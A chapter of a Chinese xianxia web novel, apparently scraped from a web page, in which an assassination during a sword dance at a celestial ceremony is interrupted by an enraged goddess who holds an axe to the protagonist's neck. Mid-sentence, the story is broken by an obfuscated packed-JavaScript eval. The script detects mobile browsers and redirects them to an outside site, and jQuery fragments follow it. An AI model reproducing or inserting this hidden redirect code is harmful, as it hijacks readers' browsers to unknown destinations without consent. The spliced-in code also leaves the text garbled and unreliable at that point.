不看不知道,一看吓一跳。春悯这第一眼看去已是两眼发黑,再一细看,差点晕过去,那李四旁边还杵着两小矮子,他用膝盖想了想,大概左边是方因,右边是方果。
那俩小孩儿看着倒是没什么异样,也不知他们三究竟知不知道彼此是谁。
可那珠玉必然是知道的!
不仅知道,而且嘴角还噙着一抹坏笑,迫不及待地跟他分享这个乐子!
春悯同意这确实是个不小的乐子,他看着李四那打摆子的模样都想笑,估计一会儿对方发现旁边的两人是方因和方果就更可乐了,再发现这两人要刺杀在座的神仙,他都不敢想画面有多精彩!
可想想倒也算了,真来这出可不行。那俩少年要干什么,春悯确实管不着,刺杀成不成功,春悯也不甚关心,他不救一心求死的人,也不拦将生死置之度外的人,这些人若连自己都不在乎这条命了,那犯不着他来多事。
但李四只是一个纯粹的倒霉蛋啊!
这人挖空心思就只是为了瞄一眼这祝礼,这要被卷进去,跳进黄河也洗不清他通敌的罪名。
春悯打定主意要在开始前把那不知轻重的玩意儿给提溜出来,屏息绕后,可才刚走两步,那编音再响,而后渐轻,众人起身鼓掌,尊君欣慰举杯,叹道:“百年那一曲《破阵》已叫我夜不能寐,不曾想今日这《断宵》竟更胜一筹,大气磅礴,激昂非凡,妙哉!礼天阁有心了。”
献乐竟已经结束了!
戴了满头花儿的小仙走上前,给献乐的人纷纷派发灵丹,随后报幕:“第四礼——椋鸟剑舞!”
那群本侍立在角落的祝礼众缓缓走向光华殿中心。李四显然是紧张了起来,动作越发猥琐,长了眼睛的人都要一眼瞧见他,纳闷此人为何一幅做贼的模样。
察觉到视线聚集在自己身上,李四更抖了,甚至一脚踩到了裙琚,“哐”一声径直摔在了地上!
春悯捂脸不敢看了。
此人还没开始就行了个五体投地的大礼,在座无不闷声发笑。那珠玉笑得更坏了,开扇掩面,别过头,肩膀一耸一耸地停不下来。
李四倒是不知尴尬,只觉害怕,忙不迭地从地上爬起来,便迎上其他祝礼众刀子样的目光,显然是在责怪他在这么重要的场合掉链子。
“不必紧张。”尊君笑道,“这祝礼说是谢天恩,其实不过是我等与下界座谈的契机,歌舞助兴,重在交流,若真分出个高低贵贱,上下有别来,反倒不美了。”
祝礼众闻言连忙谢恩,大赞尊君心胸宽广,海纳百川。
待几人各自站好了位置,手中提剑起势,后面的鼓乐也已备好,春悯才发现,李四站得竟然是最中间的位置!
李四比他发现得还迟,手中提着剑,惶惶然不知所措,想学左边的,发现会导致队形不对称,想学右边的,也不对称,一群人等他摆姿势,他又实在不知单手剑站中间该如何叫这剑阵对称,干脆心一横,把剑一丢,双手握拳压在垮上,蹲好了马步。
春悯惊呆了。
鼓声乍起,李四一个倒冲拳,在周遭如花瓣盛开的剑阵之中,竟疑似模仿了花的蕊柱,虽诡异至极,但又说不出错来。
周身童子踩鼓点绕圈,身形如一群飞鸟纵横,似腾跃翻飞无序,却又无一人相撞,也无一人自规整的阵型里脱出,不过十人不到,竟舞出了叫人眼花缭乱的阵势!
以至于一直在中间站桩冲拳的李四都不是那么突兀了。
春悯的耳朵捕捉到,那似是平稳的鼓点,其实在越变越快,这盘旋的剑阵,也在越旋越快,越旋越大,距离十二席也是越来越近。
他们的面具露出了眼和口,春悯分明看见,在一次点地后跃之后,这群人的嘴齐齐动了起来!
春悯心头一跳,手摸到了旁边一点化仙的酒盏。那点化仙一愣,刚要抬头怒道“仙友这是何意”,便见到了春悯,嗓眼里立时悬崖勒马。
“*朝菌晓晨阳,蟪蛄知夏忙。”
那童声齐齐,隐隐还带着些莫名的颂赞的神圣。
春悯骤然敲盏柱上,指尖夹住那白瓷碎片。一旁的点化仙已经吓蒙了,鹌鹑样的把自己抱作一团发抖。
“千秋岁绵长。”
鼓声狂舞,椋鸟剑阵惊飞,方因方果居于两侧,就着那鼓点霎时刺剑冲出,伴着血相祭的咒言踏步,剑尖直指十二席的正中!
“弗如朝闻夕可——”
春悯甩腕子,就在碎瓷飞离指尖前的一刹,却听一声天外罡音,声震如雷,自光华殿外以雷霆之势袭来,震得众人齐齐捂耳,一种献舞的童子几乎是同时摔落在地,闷哼声一片。
“春悯!”只见一道青光闪过,另一道天雷追上,“给我滚出来!”
人还没瞧清,天雷已重重劈下!一片浓烟中,一青衣女子顶着被电得发卷的头毛儿从烟里阔步走出,睚眦欲裂地环顾四周,怒道:“春悯何在!”
这后一句不带“滚”,天雷便不来了,好歹只挨了一下。
春悯怕她再口出狂言遭雷劈,忙举手从柱子后绕出来,道:“这儿,这儿呢。”
话音一落,那女子的板斧已落在他颈间,她两眼圆瞪,怒道:“我姐的下落呢!”
这青衣女子赫然便是陆不苦的妹妹,清川真君陆不尽。
春悯扫视过这人仰马翻的光华殿,太阳穴生疼,还是说:“不错,我找你就是为了此事,只是这里不好说话,我们——”
“少东拉西扯的!”陆不尽的板斧寸进,“快说!现在就说!我——”
“不尽!”尊君霍然起身,沉声道,“退下!”
大殿内的人大多傻了眼,此事才叫尊君这一声喊回了声。定睛一看,竟是那许久不见的清川真君。
陆不尽比陆不苦小三岁,二人是亲姊妹,长得却并不相像。陆不苦长得凶,粗眉深眼,不怒自威,陆不尽却是柳叶眉,杏圆眼,打眼看去,是极温和的长相,可二人的性格却是与模样相反,陆不苦冷静自持,心有成算,陆不尽则是仙京知名的炮仗,一点就炸。
在陆不苦身死后,这陆不尽更是不用点都会炸。
“多年不见,她怎得还是这样不守规矩?”
“何止啊,我瞧着是比两百年前更疯了。”
细碎的议论声四起,陆不尽久不在京中,又行事跋扈,人缘极差,她乍然现身,想来对大部分人来说都是惊吓而非惊喜。
陆不尽对这些闲言碎语恍若未闻,仰起头,下颌划过一个高傲的弧线才看向尊君,冷冷道:“退下?尊君好大的威风,你我同为飞升的真君,你凭什么命令我,怕不是‘君’字听多了,真把自己当皇帝了吧。”
这一句可比她喊“春悯滚出来”的杀伤力大多了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977911|177891||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟冷水滴到热油里样的蹦出一圈油点子。
“清川真君!”几位神仙拍案而起,“这里是什么地方,岂容你这等放肆!”
“两百年不露脸,一出现就是斧挟倏山仙,还对尊君口出狂言,我看你是真失心疯了!”
地上有三个趴着的祝礼众齐齐抬头,方因方果还有李四几乎同时道:“你说什么仙?”
尊君本人倒是并不生气,只是疲惫地按了按眉心。正要开口,席间便又有一人站起身来。
那人一身青袍罩素纱,衣角缝着块戴孝时才用的白麻,襟上绣四层水波纹样,头上只一根乌木素钗,体态格外端庄,只这站起来的动作,似乎就比旁人要矜贵不少。
赫然是同宫芍一般出身鸣泉宗的福龛圣者齐居贤。
齐居贤一手背后,一手在身前示意:“春悯既已说了会与你细谈,便不会食言而肥,不在这里说,自然也有他的理由,你不分场合这般放肆,徒然叫尊君难作罢了。且先下去,待祝礼结束,你——”
陆不尽又是一眼睨来,毫不留情打断道:“齐居贤,这里又有你什么事?”
齐居贤被这样不客气地怼一句,眉眼沉沉:“你别胡闹了!”
“三皇子殿下也来命令人了!”陆不尽也骤然拔高了音量,用同样的厉喝回道,“你当这里是你的东纶吗!”
齐居贤的脸色骤然一变,满脸煞白。
“陆不尽你吃错了什么药!”成大器重锤桌面,豁然起身,“什么话都能乱说的吗!”
“说个话又有什么不敢?你当人人都是你成大器那么胆小如鼠,成日躲在这叛徒身后畏畏缩缩!”
她逮着谁炸谁,公平公正,绝无偏私,手持板斧挟倏山仙,口吐狂言骂无上尊君,十二席上五席的人也来一个骂一个来两个骂一双。
她有无边的怒气,整个人都宛如怨憎的化身,板斧架在春悯脖子上,斧刃已快划破春悯的脖子。
春悯心想,这人两百年没见,竟是比两百年前还要更暴躁了。可眼下不好处理,虽然多亏有她,打断了这飞蛾扑火的刺杀,可疏怀圣者的事决计不能在这大庭广众下就说出来,就算说了,陆不尽也必然不信。
毕竟相比她姐姐耳提面命要报恩的疏怀圣者,显然是他这个叛徒更不可信。
他盘算着该怎么开口,而陆不尽已被他好像走神的模样激怒,板斧竟是又寸进些,直划出道血线来。
成大器青筋外露:“陆不尽你松手!”
“松手?”陆不尽怪笑起来,“他既然不说,那便是用阿姐骗我上来,敢开我姐姐的玩笑,他不该以死谢罪吗!”
铛!
就在这时,一声金石音响,陆不尽的怪笑戛然而止。
无人察觉那人是何时来的。
当他们回过神时,那把黑扇已抵住了斧刃,止住了刃身继续向内切进的势头。
光滑的斧面,倒映着漆黑的骨扇和一只白如象牙的手。
一时万籁俱寂,只有那铛音回荡的余响。
陆不尽缓缓拧头,用一幅要杀人的目光看向那扇子的主人,一字一句从牙缝里挤出来道:“你.又.是.什.么.东.西?”
“不是什么要紧人物。”那人笑道,眼里却没有半分笑意,只弥漫着一片又艳又煞的浓雾,“同离了狂语真君的您一般,路边讨人厌的野狗罢了。”